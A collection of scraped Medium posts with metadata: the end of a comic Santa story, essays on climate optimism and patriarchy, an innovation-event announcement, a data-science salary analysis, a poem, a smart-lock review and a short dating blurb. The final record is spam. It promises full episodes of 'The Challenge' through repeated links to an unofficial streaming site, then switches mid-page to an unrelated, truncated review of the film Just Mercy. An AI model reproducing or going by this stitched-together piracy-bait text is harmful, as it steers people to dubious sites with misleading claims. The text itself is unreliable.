“I got it! I think I got it!” yelled Santa, pointing the emerald light onto the T-rex. The dinosaur doubled, then tripled in size before growing exponentially. The ceiling groaned under the tension and eventually cracked, sending down white particles that mimicked snowfall indoors. They were met with a deafening roar that was nothing like what Jurassic Park had taught us. It was deafening due to how low it was in pitch. Mr. Waterson and Santa both clutched their chests, scared that the low vibrations would dislodge their internal organs. The demon was equally confused. The only ones in the now smoldering living room who didn’t seem to mind were the slow approaching skeletons. They tried to sink their dusty teeth into the T-rex’s skin and were met with crushing stomps.
“Stop bringing shit to life! It’s not helping! We need the off button, or color, or whatever it is!”
Santa grabbed his empty sack from the floor and threw it over the demon’s head. The magical threading was strong enough to resist the hellfire which would have burned through an ordinary sack in seconds. The demon swiped at them with claws that whistled through the air. Santa positioned himself behind the demon and kicked him into the T-rex. “Let’s go! Grab your wife and children and let’s get the fuck out of here!”
“Wait, what about my neighbors? What about this town?” said Mr. Waterson with the kind of conscience that Santa had hoped he didn’t have in this particular moment.
“I’m sure they’ll be fine. They’ll send in a SWAT team or something. They’re probably on their way already. If that doesn’t work, the military will be able to put an end to this chaos.”
“No, Santa Claus. They won’t. Only you can, by destroying that ring.”
Santa turned around and faced Mr. Waterson. “Is that a Lord of the Rings reference?”
“I-I guess it can be.”
Santa smiled. “Let’s get one thing straight then. You’re Sam and I’m Frodo, got it? No, fuck that. I’m Aragorn! Just ’cause I’m chunkier than you does not make me your sidekick!”
Mr. Waterson grinned and held his hand out. The blood from his forehead and eyebrow had now travelled all the way down his clean-shaven chin. “Let’s do it together then, Aragorn.”
“Melt for me, baby,” whispered Santa to his ring which he pulled off of his stubby finger. “Hey!” he yelled at the demon, who’d successfully managed to pull the sack off his head. “Hey batter, batter, you demonic motherfucker. Go lather yourself back up in Hell, you chiseled dickhead!” Then, as if he were throwing a pitch, he scaled the ring on its side and with a bit of spin, was able to land it directly into the fireplace.
Mr. Waterson and Santa jumped with excitement, overextending their lower backs a bit more than they’d intended, and high-fived each other. “That’s right, go back to Hell! And you, hasta la vista baby!” yelled Mr. Waterson, giving the bird with both hands at the three-story tall T-rex that looked down at them through the gaping hole in the ceiling. Luckily, it was on the side of the house opposite the master bedroom, where the wife and kids were hiding.
“Wrong movie reference,” said Santa under his breath as concern collected on his forehead in the form of sweat. The demon controlled the fire and with a sharp inhale that sounded like fingernails scratching a chalkboard, he sucked the flames back in, leaving even the embers cold and desolate.
“Shit, we got too confident,” said Mr. Waterson, frantically looking around the room for a plan B. The T-rex and the demon looked at each other and then cackled at the two cornered men. “They’re working together…” Right as the T-rex’s jaws would’ve snapped shut around both of their torsos, bells jingled by the front door, which was somehow still intact with all the shit going on. The door opened with a stout hindleg kick and the silhouette of a creature with antlers could be seen in the entryway through the smoke. A red light beamed through the blanketing particles of debris.
“I think now, the hasta la vista baby reference would’ve been more appropriate,” said Santa with a smile. It was Rudolph, huffing and puffing through his red nostrils.
“He does not look nearly as cute as we were led to believe,” said Mr. Waterson, looking at Rudolph the red nosed reindeer with disgust.
“What did you think it was going to look like? It’s a swollen, red nose! He’s got a condition.” Rudolph pointed his antlers at the demon and charged him, sending him flying into the wall. Then, with his red nose, he started sneezing frantically. After a good ten seconds of sneezing, sparks began to fly out of his nostrils.
“What kind of condition did you say he has?” asked Mr. Waterson with a raised eyebrow.
“I didn’t. He has the North Pole virus, which makes your COVID virus look like a chihuahua in a lion’s den. Trust me, it’s some nasty shit.” Rudolph finally sneezed out a red flame which reignited the black logs hugging the deformed grate.
The fire burned and so did the ring. There was a blinding flash of every color imaginable. The skeletons crumbled and clattered to the ground. The T-rex shrunk back to its original size and turned back into an inanimate toy with the batteries not included. The demon suddenly fell through the floor that opened up for him, dragging him back to Hell. Even the fire which had spread throughout the living room had been put out. “Thank you, Rudolph,” said Mr. Waterson. Rudolph offered him a small bow before he galloped back outside through the front door.
“Well, Waterson we did it! Merry Christmas! Now where did we leave off? Oh yes…” Santa suddenly grabbed Mr. Waterson by the collar of his stained shirt and lifted him off the floor. “Back to square one. Where are those cookies, Waterman!” Santa then let him go and laughed so hard that tears came out of his eyes. “I’m just playin’ with you. Merry Christmas Waterson, and I’ll see you next year!”
Before Mr. Waterson could answer, Santa grabbed his empty sack and bolted outside and was already jingling the bells of his sleigh. He waved back at the entire Waterson family, who’d come out to wave him goodbye. “Hey, wait! What about our presents, not to mention the property damage!”
Santa rummaged through the exposed toys in the back of his sleigh and threw down two random gifts which landed gingerly on the snow. One was a bottle of wine, which had shattered on impact, staining the snow a burgundy red. The other, was an adult toy from Good Vibrations. Mr. Waterson looked up and Santa shrugged back.
“It’s 2020, what did you expect? Be happy you survived. Ho-ho-ho!” | https://medium.com/@denizcan-onen/a-covid-christmas-feda6bfdf5d8 | ['Denizcan Onen'] | 2020-12-26 22:22:55.545000+00:00 | ['Short Story', '2020', 'Covid 19', 'Fiction', 'Horror'] |
We should stay positive about climate change | We should stay positive about climate change
Strike for the climate, Halifax Nova Scotia, September 27 2019
In a speech made by Greta Thunberg in October of 2018, the young activist said “the climate crisis has already been solved. We already have the facts and solutions. All we have to do is wake up and change.”
Greta is bringing up a really important idea, a simple one, and one we shouldn’t forget: we can do better. The solutions to so many problems are within reach, we just have to stretch a little farther. In other words, the problem isn’t what we have — it’s how we use it.
The climate movement isn’t in short supply of solutions for climate change, there are tons of alternatives available for fossil fuels and plastic packaging.
The one thing we are lacking is optimism.
Young activists give in to climate fatalism all the time. We see more people saying things like they won’t have kids because of the crisis, and dictonary.com named existential the word of the year for 2019.
Tweet from April 2020
The idea that there are solutions to climate change should cause excitement. We should be bursting with enthusiasm, not just for preventing climate catastrophe, but for what the world could look like after. We should be talking endlessly about what our post climate change world could look like. Our protest signs should read like writers room pitches for a Star Trek episode.
‘Imagine how safe green sector jobs would be compared to the gas sector! Picture the slick, eco friendly technology of a post climate change world! Imagine the beautiful landscapes we could preserve by slowing deforestation! Imagine what an economy could look like that is based on justice and safety rather than endless, unstable growth!’
History has shown us that good activism is about having a dream, not having a nightmare. Of course, dreaming is getting more and more difficult. In 2019, Greta Thunberg said “I don’t want you to be hopeful. I want you to Panic.” It’s really easy to feel this way, but is it productive?
Greta makes an important point again: we should have urgency, but we should also be cautious of where panic could lead us. Maybe we will get more done if we have an idea of what we want earth to look like, not just what we don’t want it to not look like. If we keep the idea in our minds that we have the solutions, and we let those solutions guide our eyes into the future, we can access our secret weapon against climate change: optimism.
The truth is, like solutions to climate change, optimism is abundant in the climate movement. If climate activists really had no hope, none of them would bother taking to the streets or protesting, there would be no incentive to strike, there would be no movement at all without optimism.
As Noam Chomsky says in his book Optimism Over Despair: “We have two choices. We can be pessimistic, give up and help ensure that the worst will happen. Or we can be optimistic, grasp the opportunities that surely exist and maybe help make the world a better place. Not much of a choice.” | https://medium.com/@adam-inniss/we-should-stay-positive-about-climate-change-3f00c440cf85 | ['Adam Inniss'] | 2020-04-25 01:19:06.742000+00:00 | ['Greta Thunberg', 'Activism', 'Climate Change', 'Politics', 'Optimism'] |
Venturefest West Midlands set to boost growth for the region’s brightest science and tech innovators | Written by Pia van Antwerpen, Innovation Birmingham
For the fourth year, Venturefest West Midlands will be providing an arena for the region’s brightest entrepreneurs, innovators and investors to grow and collaborate whilst exploring new products and services.
Tailored for growth-focused businesses in the science and technology sector, the single-day event will be taking place on Thursday 27th September at Innovation Birmingham’s iCentrum facility.
With an expected attendance of almost 400 people, the free event signifies yet another forward-thinking initiative driving growth, prosperity and support for entrepreneurs and small to medium-sized enterprises in the West Midlands, attracting the attention of the most exciting young talent the region has to offer.
The event has been organised by a Steering Group comprising some of the most influential organisations in the West Midlands, including Venturefest Headline Sponsor the West Midlands Combined Authority, Black Country LEP, Innovation Alliance for the West Midlands, Innovation Birmingham, Innovation Engine, six of the biggest universities in the area and Headline Pitchfest Sponsor Marks and Clerk.
Dr. David Hardman MBE, Managing Director at Innovation Birmingham and Chair of the Venturefest WM Steering Group said:
“It’s a pleasure to work with so many of the key players in the region to drive innovation, growth and prosperity for small businesses. We have such an array of talent, knowledge, resources and determination throughout the West Midlands, and our expert panel comprising world-renowned educational institutions, business support programmes and local enterprise partnerships highlights how our region pulls together to expand what is already a thriving economy.”
Dr. Pam Waddell, Director of the Innovation Alliance for the West Midlands, and Venturefest WM Steering Group Member added:
“I’m very much looking forward to the event at iCentrum, we are set for a packed and varied itinerary that will offer something to all attendees, whether that’s an inspirational keynote or a pressurised pitch situation; our main goal is to drive growth and prosperity for entrepreneurs and small businesses in the West Midlands.”
Following from the successes of the last three events, the finals of the Pitchfest competition will again be a core part of the programme for this year; offering the chance for entrepreneurs to deliver ideas, concepts and businesses to a panel of investors and mentors.
Run by the Centre for Growth at Aston University, BizzInn at the University of Birmingham, and Minerva at the University of Warwick Science Park, over three million pounds has been generated by Pitchfest since its establishment.
Guiding businesses from pitch preparation through to intense judging rounds, the best pitches will emerge and compete in the Grand Final, where each company will deliver their ideas to investors and entrepreneurs for a chance to win access to Minerva’s professional network of angel investors. Paula Whitehouse, Associate Dean for Enterprise at Aston Business School, and Venturefest WM Steering Group Member said:
“Venturefest West Midlands is the region’s most prestigious event for entrepreneurs and companies looking to grow, providing an invaluable pipeline of opportunity for the brightest talents, entrepreneurs and innovators in the region. Initiatives like Pitchfest help to add an element of competition, pushing entrepreneurs and small business owners to grab this opportunity with both hands.
“Connecting a generation of talent is vitally important, and our extremely well-established Steering Group committee has played an influential role in ensuring that knowledge meets opportunity, and bright ideas get the backing they deserve.”
Working alongside Pitchfest, The Richardson Brothers Foundation will be attending this year’s Venturefest event to shortlist exciting businesses to win its inaugural new venture competition including an investment prize of £30K later this year.
After an initial address from David Hardman, Venturefest WM will comprise two keynotes, a cyber experiment, three expert panels with specialist economic, business to business and rapid growth experience, four Pitchfest heats and two workshops.
Book your place for FREE here.
More thought leadership | https://medium.com/digital-leaders-uk/venturefest-west-midlands-set-to-boost-growth-for-the-regions-brightest-science-and-tech-a844015bb342 | ['Digital Leaders'] | 2018-09-13 11:16:14.737000+00:00 | ['West Midlands', 'Innovation', 'Startup', 'Digital Leadership', 'Digital Transformation'] |
Predict Data Science Salaries with Data Science | Predict Data Science Salaries with Data Science
Photo by Carlos Muza on Unsplash
This post summarizes key insights in my Kaggle notebook analyzing US Data Science job market and salaries with Exploratory Analysis and Machine Learning algorithms (mainly Backward-stepwise Regression) in Python.
The Market Needs a Lot More Analysts, but is More Generous to Data Scientists
Among those 12,360 data science job hires in this study (data source: picklesueat and Glassdoor), Data Analyst hires top the chart by 27%. Data Engineers are the second largest group, occupying 23% of all positions. Only 17% are Business Analysts and 10% are Data Scientists. Other analysts (System Analysts, Quality Analysts, Reporting Analysts, …etc.) account for 22.7%. All analyst-type hires combined dominate the total hires by 67%.
However, from the graph below, we see the overall salary distribution of Data Scientists locates much more to the right comparing with those of Data Engineers and Analysts, showing Data Scientists’ salaries are obviously higher.
In general, the average salary of all data science jobs is $89,000 a year, but the variance is quite high. The middle 50% centered by the median ($80,000) can range from $60K to $110K.
Job Location Matters More Than Anything Else
Although many jobs are temporarily remote, most companies still plan to resume to their physical offices after the economy reopens and specify the job location when hiring. However, as many companies pay their employees differently based on the candidate’s current residential location, the final deal with each candidate during the pandemic is unknown in this dataset.
(The point plot at the right side: point estimates with 95% confidence interval)
Not surprisingly, a California-based job is paid more ($110K+), but such a big gap, up to $50K a year, between California and others like Florida is still astonishing. Moreover, regardless of living costs, data science professionals in Texas are definitely undervalued, given such a high demand.
(The point plot at the right side: point estimates with 95% confidence interval)
Some would attribute the salary variation to living costs of the location. If that were the case, New York and San Francisco would have been with the highest salary level for data science professionals. However, cities in Silicon Valley with mid-high living costs such as Santa Clara, Sunnyvale and San Jose actually perform much better. Therefore, some other factors that made Silicon Valley prosperous might be the real cause to those high salary pays.
Here is another view to how job location has a great impact on salaries. Earlier we saw Data Scientists’ salaries (avg. $123K) are significantly higher than Data Engineers and Analysts, but notice the second peak on the left of the distribution below (salaries from lower than $90K)? They look as if a bunch of Analysts’ salaries being misplaced with the title “Data Scientists”.
It turns out that, as job descriptions are confirmed to be similar, the presence of California as the job location in the high-paid group (≥$90K) is a lot higher. On the other hand, the underpaid group (<$90K) locates more at lower-salary states such as Texas and Illinois.
Also, from the regression analysis, nearly half of the variables in the final model are related to job locations, which outweigh other factors such as seniority, industries and sectors.
SMBs Often Offer Better Packages in Competition with Big Corps
Giant companies are not always the top choice in pursuit of higher salaries. Although in general giant companies (with 10,000+ employees and revenues above $5 billion) tend to pay higher, financially-unpublic small-and-medium businesses (SMBs) would also offer competitive packages.
In the heatmap below, the left-hand side shows the number of companies hiring data science professionals with their size and scale, whereas the right-hand side shows the average salaries they offer. Some buckets with extremely high salaries but low sample sizes are considered extreme values (e.g. only three companies are with 10,000+ employees and revenue $1–2 billion. That they offer $152K would be regarded as a rare case).
From the next heatmap for Data Scientists’ salaries and the upcoming ones for Business Analysts, Data Analysts, and Data Engineers, we would gradually realize that giant companies only pay much higher salaries to Data Scientists, which require higher qualifications as well, but for other types of positions, high-paying clusters are small to medium businesses.
“Machine Learning” is Hot, and Data Scientists are Swiss Knives
Some keywords on job titles also have an impact on the salaries. The most obvious one is “Machine Learning” (sometimes “ML”). Data shows “Machine Learning” written on the job title would increase this job’s salary by more than 10%. However, the often pairing phrase “Artificial Intelligence” does not have comparable effects, and “Machine Learning” seldom shows up on analysts’ titles.
Likewise, “Machine Learning” appears more frequent in the job descriptions for Data Scientists and Data Engineers than in those for analysts. On the other hand, Data Scientists are required or preferred to have a much extended breadth of qualifications, including PHD degrees, whereas other positions focus more on fewer skillsets and require/prefer only Master degrees or lower.
For Data Engineers, in addition to common skills such as Python and SQL, data infrastructure words and phrases such as Hadoop, Spark, AWS and ETL appear much more frequent than other positions. | https://towardsdatascience.com/the-us-data-science-job-market-in-2020-463520a9d5a | ['Junting', 'Jt'] | 2020-10-12 22:51:53.021000+00:00 | ['Python', 'Regression', 'Salary', 'Data Science', 'Machine Learning'] |
The Other Side of the Patriarchal Coin | The Other Side of the Patriarchal Coin
Feminism: /ˈfɛmɪnɪz(ə)m/
(Noun) A social theory and political movement which argues that legal and social restrictions on women should be removed to bring about the equality of the sexes.
Simple, right? Why then has it become so confusing and complicated?
Recently, I came to the realisation that, like every social and political topic, there are a few schools of thought in feminism.
There is one which tries to achieve equality by tearing men down. Apparently, to achieve equality is to subject men to the same prejudice suffered by women. There is another which thinks gender equality can be achieved by focusing on the silliest elements of patriarchy. There is that which aims to exploit the idea gender equality in order to get what they do not deserve. There is also that which represents everything feminism is truly about.
Despite the different approaches, there is one thing they all agree on — women have been restricted all their lives. Their voices have been drowned in the sea of patriarchy. Women are victims.
Feminism is the movement that seeks to destroy the patriarchal system.
Patriarchy: /ˈpeɪtrɪɑːki/
(Noun) social organization marked by the supremacy of the father in the clan or family, the legal dependence of wives and children, and the reckoning of descent and inheritance in the male line.
With the above, it’s easy to conclude that in a patriarchal system, men have it good, and women do not, but digging deeper, you’ll find that the men have it just as rough as the women.
To be a woman in the aforementioned system is to be subject to the man, to be the subordinate by reason of your sex. The woman is the helper. That is a lot of suppression.
To be a man in the same system is to be a stoic entity, the epitome of strength and the sacrificial lamb. The man is the head. That’s a lot of responsibility.
But is that all there is to it?
Is patriarchy the beast that besets gender equality?
Where I come from (Nigeria), a woman is usually likened to a flower. She’s valuable, not to be mishandled, and that’s why everything is done is done to make her valuable enough by cultural standards — a good housekeeper, reserved, sweet, a virgin, etc.
A man, on the other hand, is trained to be the authority. He is outspoken, the one who brings home the bacon, and he must be tough.
There are no grey areas. If a man is caught getting involved in what is deemed a woman’s activity, he is “not a man”. That is the most emasculating phrase used in this society.
As much the woman is depicted as the victim, we need to understand that men also fall victim to the system.
A story was told of a woman who was so fond of her son and only child, that she never let him out of her sight. This irked her mother-in-law who felt the boy would grow up effeminate. A family meeting was held to that effect, and the child was taken away from his mother to stay with his grandmother because “the groom’s family doesn’t host suitors”.
When we talk about feminism, we talk about the restrictions on women. How about the restrictions on men?
The patriarchal system is a system that respects men and values women.
In a patriarchal system, the man is expendable.
Why is it that when in danger, the woman has to be protected, even if it at the man’s expense? In a shooting, he has to be the shield. It’s not like he likes the idea of being shot at. He isn’t immune to death either, but it’s expected of him. It is the right thing to do.
During the World War I, men were being pressured into joining the army.
A White Feather was given to men who were not enlisted in the army as a mark of cowardice. For fear of being branded a coward, a lot of them enlisted for the army disregarding the fact they were unfit.
Social emasculation is something men are at risk of. They can’t be caught doing anything unmanly. But a woman doesn’t face as much pressure. Homosexual women don’t face as much discrimination as homosexual men. A woman is allowed to be emotional, but a man can’t even cry lest the society questions his masculinity.
And what about social responsibilities in a relationship?
Why should he have to hold the door for the woman. Did she break her arm? When it’s cold, does he really have to sacrifice the warmth of his coat, so his woman won’t freeze. Why didn’t she bring a coat along? For every anniversary, he does the spending. Doesn’t he deserved to be spoiled too?
If we are fighting for gender equality, why are women still so reluctant to take up some of these responsibilities?
Why can’t they take a man out on a date? Hold the door while he goes in?
As much we like to deny it, we enjoy these little manifestations of patriarchy, and we refuse to let go of them or even reciprocate them.
Men are the like the queen in a chess game — the most powerful piece on the board, but expendable nevertheless. The essence of its power lies in the safety of the King, who in the patriarchal system, is the woman. The king might be limited, but it is the most important piece.
A woman is adored; a man, respected.
If we are going to truly achieve gender equality, we should be willing to give as much as we expect. If we want to be respected, we should learn to appreciate and value men. Otherwise, we should count all joy when men decide to stop treating us a delicate. | https://medium.com/shades-of-our-lives/the-other-side-of-the-patriarchal-coin-adbe3c1c8789 | [] | 2017-11-20 15:18:01.954000+00:00 | ['Patriarchy', 'Social Justice', 'Essay', 'Feminism', 'Gender Equality'] |
Zero: The Breakup (Poem) | Zero — it stands alone, unapologetically and unequivocally, as the only eternal numerical figure
that could and would ever accurately portray literal nothingness.
Even negatives, at least, represent progression to one side of an arithmetic plane, opposite of positives. Yet, zero defiantly choose neither.
The reality we occupy fundamentally allows no definition for anything to be more nor less than The Nothing, itself.
Even darkness — although a formidable opponent and a close runner-up — does not stand as worthy to fill zero’s infinitely void shoes, for it’s merely the absence of light. Zero is not even blackness.
Zero is the absolute and completely unwavering lack of presence of every memory, emotion, experience, bond, relationship, and person to a name.
When it comes to rouge thoughts of her, I am like zero. It’s the only digit worthy to represent my condition, or maybe my condition is the only kind worthy to portray it.
I am zero now. There’re no more late night tears, no more longing for her call to work it out, no more being forwarded to voicemail, no more wondering who she’s with, no more allowing myself the indulgence in fond memories, no more wondering about what went wrong and about how things could’ve been saved, no more blaming myself, no more wondering what we are, and no more hope of us finishing what we were building.
I don’t wish you the best nor do I wish you the worst. For, that would require a positive or a negative. There was an allotted amount of time for mourning, and I allowed myself neither once I hit my quota.
For this, I now discard any invasive remnants of you, both physical and reminiscent. I’ve no bitterness nor happiness to bid you — only the tasteless, colorless, limitless, and empty void only a character like zero could encompass.
From the Soul, | https://medium.com/@thestormypoet/zero-the-breakup-poem-838c7dfc7eac | ['The Stormy Poet'] | 2020-12-21 15:48:26.253000+00:00 | ['Poetry On Medium', 'Breakups', 'Dating', 'Poetry', 'Relationships'] |
Kwikset Halo Touch review: This smart lock jettisons the keypad and adds a fingerprint reader | Kwikset Halo Touch review: This smart lock jettisons the keypad and adds a fingerprint reader Jill Dec 5, 2020·4 min read
Kwikset has finally gotten into the biometrics game with the launch of the Halo Touch smart lock. Mind you, it’s not just a version of the Halo with a fingerprint reader added, this is a lock of a considerably different design—at least on the outside of the house.
You’ll notice the difference on the exterior escutcheon immediately. While the original Kwikset Halo was a garish monstrosity, the Halo Touch is decidedly demure. Part of that is because the Touch no longer has a numeric keypad to take up a lot of space. Instead, there’s a small fingerprint scanner above a standard keyhole, all placed into a rectangular chassis just 3.5 x 2.75 inches in size. (An alternate, more classical design is slightly larger and comes with curves and beveled edges; both designs are available in a choice of two finishes.) A bar of LEDs appears at the top of the escutcheon; these light up in various colors depending on whether a fingerprint is accepted and when the lock is engaging.
This review is part of TechHive’s coverage of the best smart locks, where you’ll find reviews of competing products, plus a buyer’s guide to the features you should consider when shopping for this type of product.While the redesigned exterior is quite handsome, unfortunately nothing has changed with the interior of the lock, and it remains a multi-part eyesore made of brushed nickel and black plastic. Installation requires the typical, time-consuming steps of attaching a frame to the exterior escutcheon with two thick screws, bolting the electronics on top of that, and then attaching a cover over all of it. I found getting everything aligned properly to be especially tricky with this lock, mainly owing to the stiff and awkward cable that connects the two escutcheons’ electronics. Wedging the cable into the small chamber behind the interior escutcheon without it getting pinched by the door is tricky, but with some trial and error I eventually got everything carefully locked into place.
Kwikset Kwikset just can’t seem to shrink its massive interior escutcheon.
Installing the lock with the Kwikset app was a streamlined breeze (especially in comparison to previous Kwikset locks), though strangely the lock failed to find my local Wi-Fi network automatically, and I had to type in the name of my network (and password) manually. (Note that only 2.4GHz networks are supported.) From there, registering users—and enrolling fingerprints—was simple and intuitive, with each fingerprint requiring only three successful scans to be successfully registered.
[ Further reading: The best video doorbells ]Kwisket’s app is fairly basic, but as has always been the case, it gets the job done. New users are easy to add and can be restricted by date or limited to certain days of the week and times of day. (The lock supports a maximum of 50 users and 100 fingerprints total.) Manual lock/unlock operations are speedy with the app, and a detailed history of comings and goings is kept within the app as well. The fingerprint scanner was also especially effective, fast, and accurate in my testing.
Christopher Null / IDG Event logging in Kwikset’s app is robust and easy to understand.
Additional settings are limited to enabling auto-lock (with a configurable countdown ranging from 30 seconds to 10 minutes), disabling sounds, and disabling the small interior status LED (but not the exterior LEDs). The app also connects with Google Assistant—but not Alexa—which lets you unlock the door via a spoken PIN. Also worth noting is that the lock supports Kwikset SmartKey, so you can reset the lock to work with an existing Kwikset-branded key without having to call a locksmith.
The only major issue I had with the app is how ploddingly slow it is whenever you try to make a change. Whenever you tweak a setting, you can only make one change at a time, and then you have to wait for the new setting to be uploaded to the lock (presumably via the cloud and back). This is a lengthy process that can take close to a minute to complete, during which time you can’t do anything else lest you receive a “Syncing must complete before further changes can be made” error. It’s a frustrating and nagging issue with the app, and one which makes me question the sanity and capabilities of its programmers.
The lock also isn’t cheap. At $249 it’s $20 more than the Kwikset Halo was at launch. (The keypad Halo was selling for less than $150 on Amazon as of this writing.) It’s also more expensive than most other biometric locks you’ll find on the market, but not obscenely so (the Securam Touch and the Eufy Security Smart Lock Touch were each selling for about $200 as of this writing.
Mentioned in this article Level Touch Read TechHive's review$329.00MSRP $329.00See iton Level Home The Lockly Secure Plus and Lockly Secure Pro were going for $279 and $300 respectively, but the Plus includes an entry handle.) Our absolute favorite lock with a fingerprint reader, on the other hand—the Level Touch—costs $329 and is not entirely cross-platform (favoring iOS over Android devices).
Given its general high quality, improved exterior design, and solid operation, the Kwikset Halo Touch is definitely a contender if you prefer fingerprint-based access to a more traditional keypad—and unless you need a lock for a rental property or another situation where you have lots of transient visitors, why wouldn’t you?
Note: When you purchase something after clicking links in our articles, we may earn a small commission. Read our affiliate link policy for more details. | https://medium.com/@jill17718098/kwikset-halo-touch-review-this-smart-lock-jettisons-the-keypad-and-adds-a-fingerprint-reader-ca963cc41d9c | [] | 2020-12-05 03:02:56.122000+00:00 | ['Electronics', 'Mobile Accessories', 'Chargers', 'Surveillance'] |
Dating is many things: Fun, funny, exciting, enlightening, and sometimes awkward, repetitive, and… | Dating is many things: Fun, funny, exciting, enlightening, and sometimes awkward, repetitive, and laborious. One thing it isn’t? Simple. It’s the opposite of simple. But what else should we expect from the somewhat colloquial definition of dating that Merriam-Webster defines as “the series of social engagements shared by a couple looking to get married,” which also defines a single date as “a romantic appointment.” Talk about pressure. Of course, we have a much more fluid understanding of the term today, which simultaneously makes it more fun and less consequential and rigid — but it also tends to complicate things further.
read full article by professional — https://rb.gy/37h9kp | https://medium.com/@ishusharma1802/dating-is-many-things-fun-funny-exciting-enlightening-and-sometimes-awkward-repetitive-and-855daa5c9aa4 | ['Nws Lord'] | 2020-12-07 09:25:13.472000+00:00 | ['Dating', 'First Love', 'Los Angeles', 'Love', 'Life'] |
Cum am crescut de la 0 la 6 angajați în mai puțin de un an folosind Growth Hacking Marketing | Founder & Growth Hacker @SMARTERS Romania, my purpose is to show people that it can be done.
Follow | https://medium.com/smarters-grow/cum-am-crescut-de-la-0-la-6-angaja%C8%9Bi-%C3%AEn-mai-pu%C8%9Bin-de-un-an-folosind-growth-hacking-marketing-4bf6e2babc39 | ['Toma Grozăvescu'] | 2016-12-05 18:02:04.483000+00:00 | ['Marketing', 'Ce Este Growth Hacking', 'Growth Hacking', 'Antreprenoriat'] |
[[36x3]] The Challenge ' Enemy of the State' (Season 36 Episode 3) | WATCH FULL EPISODES The Challenge Season 36 Episode 3 [ULTRA ᴴᴰ1080p]
⚜ — Official~Watch Streaming !! The Challenge (2020) Se36Ep3 Season 36 Episode 3 : 3 — Full Episodes
Show Info
Name Episode : Enemy of the State
Network : MTV
Genres : Action Adventure
🔴 Now Streaming :: https://tvmoon.site/tv/62-36-3/The-Challenge.html
Set in the middle of the jungle, “The Challenge: War of the Worlds 2” returns to a classic team format; 14 Brits will battle it out against 14 Americans for their share of the $1 million-dollar prize.
⚜ The Challenge Season 36 Episode 3 [4KHD Quality]
⚜ The Challenge 36x3 Watch Full Episodes : Enemy of the State MTV
⚜ Official Partners “[MTV]” TV Shows & Movies
▼ Watch The Challenge Season 36 Episode 3 Eng Sub ▼
⚜ — WATCH FULL EPISODES The Challenge Season 36 Episode 3[ULTRA ᴴᴰ1080p]
Set in the middle of the jungle, “The Challenge: War of the Worlds 2” returns to a classic team format; 14 Brits will battle it out against 14 Americans for their share of the $1 million-dollar prize.
Link WATCH Eps .1
⚜ — 360p : CLICK HERE
⚜ — 480p : CLICK HERE
⚜ — 720p : CLICK HERE
The Challenge S36E3 Streaming Online On MTV
🔴 Now Streaming ⇨ https://tvmoon.site/tv/62-36-3/The-Challenge.html
The ChallengeThe Challenge 36x3 ,The Challenge S036E3,The Challenge MTV,The Challenge Cast,The Challenge Season 36,The Challenge Episode 3,The Challenge Premiere,The Challenge New Season,The Challenge Full Episodes,The Challenge Watch Online,The Challenge Full HD,The Challenge Season 36 Episode 3,Watch The Challenge Season 36 Episode 3 Online
❖Enjoy And Happy Watching❖
Within the many cinematic tales that have been produced, legal drama films have certainly been up there; hitting viewers with heated (and sometimes poignant) narratives that showcase a variety of multi-faceted viewpoints that deliver the truth and unmask the falsehood of the system. From the jail cell’s of a prison to the presiding courtrooms, legal dramas display plenty of human emotions of the individuals; projecting tales of injustice doing and who is really to blame for the wrong doings as well as demonstrating the views of the case on today’s society (i.e. social standing, race, religion, gender, etc.). Of course, Hollywood has produced many legal / courtroom tales that have demonstrated such cinematic level feature films, including several memorable ones like 100000’s 2020 Angry Men, 1980’s To Kill a Mockingbird, 2020’s A Few Good Men, 2020’s Philadelphia, 2020’s Helstrom Fear, 2020’s Dark Waters, and many others. Now, Warner Bros. Pictures and director Destin Daniel Cretton present the latest legal drama endeavor with the film Just Mercy; based on the biographical memoir “Just Mercy: A Story of Justice and Redemption” by Bryan Stevenson. Does the movie find strength within its story or does it lost within legal courtroom narrative?
✓ I do not MTV this song or the Image, all credit goes,
It’s so Awesome. Subscribe and Share with your friends! to my channel. See for more videos!!. I want to say ‘thank you’ for being the friend!!
Atelevision show (often simply TV show) is any content produced for broadcast via over-the-air, satellite, cable, or internet and typically viewed on a television set, excluding breaking news, advertisements, or trailers that are typically placed MTV Oneween shows. Television shows are most often scheduled well ahead of time and appear on electronic guides or other TV listings.
THE STORY
After graduating from Harvard, Bryan Stevenson (Michael B. Jordan) forgoes the standard opportunities of seeking employment from big and lucrative law firms; deciding to head to Alabama to defend those wrongfully commended, with the support of local advocate, Eva Ansley (Brie Larson). One of his first, and most poignant, case is that of Walter McMillian (Jamie Foxx, who, in 22927, was sentenced to die for the notorious murder of an 27-year-old girl in the community, despite a preponderance of evidence proving his innocence and one singular testimony against him by an individual that doesn’t quite seem to add up. Bryan begins to unravel the tangled threads of McMillian’s case, which becomes embroiled in a relentless labyrinth of legal and political maneuverings and overt unabashed racism of the community as he fights for Walter’s name and others like him.
THE GOOD / THE BAD
Throughout my years of watching movies and experiencing the wide variety of cinematic storytelling, legal drama movies have certainly cemented themselves in dramatic productions. As I stated above, some have better longevity of being remembered, but most showcase plenty of heated courtroom battles of lawyers defending their clients and unmasking the truth behind the claims (be it wrongfully incarcerated, discovering who did it, or uncovering the shady dealings behind large corporations. Perhaps my first one legal drama was 2020’s The Client (I was little young to get all the legality in the movie, but was still managed to get the gist of it all). My second one, which I loved, was probably Helstrom Fear, with Norton delivering my favorite character role. Of course, I did see To Kill a Mockingbird when I was in the sixth grade for English class. Definitely quite a powerful film. And, of course, let’s not forget Philadelphia and want it meant / stand for. Plus, Hanks and Washington were great in the film. All in all, while not the most popular genre out there, legal drama films still provide a plethora of dramatic storytelling to capture the attention of moviegoers of truth and lies within a dubious justice.
Just Mercy is the latest legal crime drama feature and the whole purpose of this movie review. To be honest, I really didn’t much “buzz” about this movie when it was first announced (circa 2020) when Broad Green Productions hired the film’s director (Cretton) and actor Michael B. Jordan in the lead role. It was then eventually bought by Warner Bros (the films rights) when Broad Green Productions went Bankrupt. So, I really didn’t hear much about the film until I saw the movie trailer for Just Mercy, which did prove to be quite an interesting tale. Sure, it sort of looked like the generic “legal drama” yarn (judging from the trailer alone), but I was intrigued by it, especially with the film starring Jordan as well as actor Jamie Foxx. I did repeatedly keep on seeing the trailer for the film every time I went to my local movie theater (usually attached to any movie I was seeing with a PG rating and above). So, suffice to say, that Just Mercy’s trailer preview sort of kept me invested and waiting me to see it. Thus, I finally got the chance to see the feature a couple of days ago and I’m ready to share my thoughts on the film. And what are they? Well, good ones….to say the least. While the movie does struggle within the standard framework of similar projects, Just Mercy is a solid legal drama that has plenty of fine cinematic nuances and great performances from its leads. It’s not the “be all to end all” of legal drama endeavors, but its still manages to be more of the favorable 